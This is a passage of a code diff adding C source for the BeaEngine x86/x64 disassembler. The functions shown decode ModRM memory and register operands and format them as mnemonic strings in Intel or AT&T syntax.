(GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_SIB_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (!Security(2, pMyDisasm)) return; + if (GV.AddressSize >= 32) { + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+3)); + } + else { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + /*#ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); +#endif + *i+=2; */ + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize >= 32) { + GV.DECALAGE_EIP++; + GV.BASE_ = ((UInt8) *((UInt8*) (UIntPtr)GV.EIP_+2)) & 0x7; + GV.SCALE_ = (((UInt8) *((UInt8*) (UIntPtr)GV.EIP_+2)) & 0xc0) >> 6; + GV.INDEX_ = (((UInt8) *((UInt8*) (UIntPtr)GV.EIP_+2)) & 0x38) >> 3; + j = i; + i += SIB[GV.SCALE_ ](pMyArgument, j, pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + i += strlen (Registers16Bits[6]); + } + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i += 1; + } + else { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } + +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_EBP_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[13]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[13]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_ESI_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_EDI_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rEAX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[0]; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rECX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[1]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[1+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[1+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[1]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[1+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[1+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[1]; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[1]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rEDX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[2+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[2+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[2+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[2+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + (*pMyArgument).ArgSize = 8; + } + else { + if (GV.REX.state == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS8BITS[2+0]; + (*pMyArgument).ArgSize = 8; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[2+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + (*pMyArgument).ArgSize = 8; + } + } + } +} + + + +/* ======================================= + * ModRM_3 + * ======================================= */ +void __bea_callspec__ _rEBX(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + int i = 0; + GV.MemDecoration = 0; + if (GV.MMX_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+MMX_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 64; + return; + } + + if (GV.SSE_ == 1) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[3+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[3+8]; + (*pMyArgument).ArgSize = 128; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+SSE_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 128; + } + return; + } + if (GV.OperandSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + (*pMyArgument).ArgSize = 64; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 64; + } + } + else if (GV.OperandSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + (*pMyArgument).ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 32; + } + } + else if (GV.OperandSize == 16) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3+8]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + (*pMyArgument).ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3+0]); + #endif + (*pMyArgument).ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + (*pMyArgument).ArgSize = 16; + } + } + else if (GV.OperandSize == 8) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) 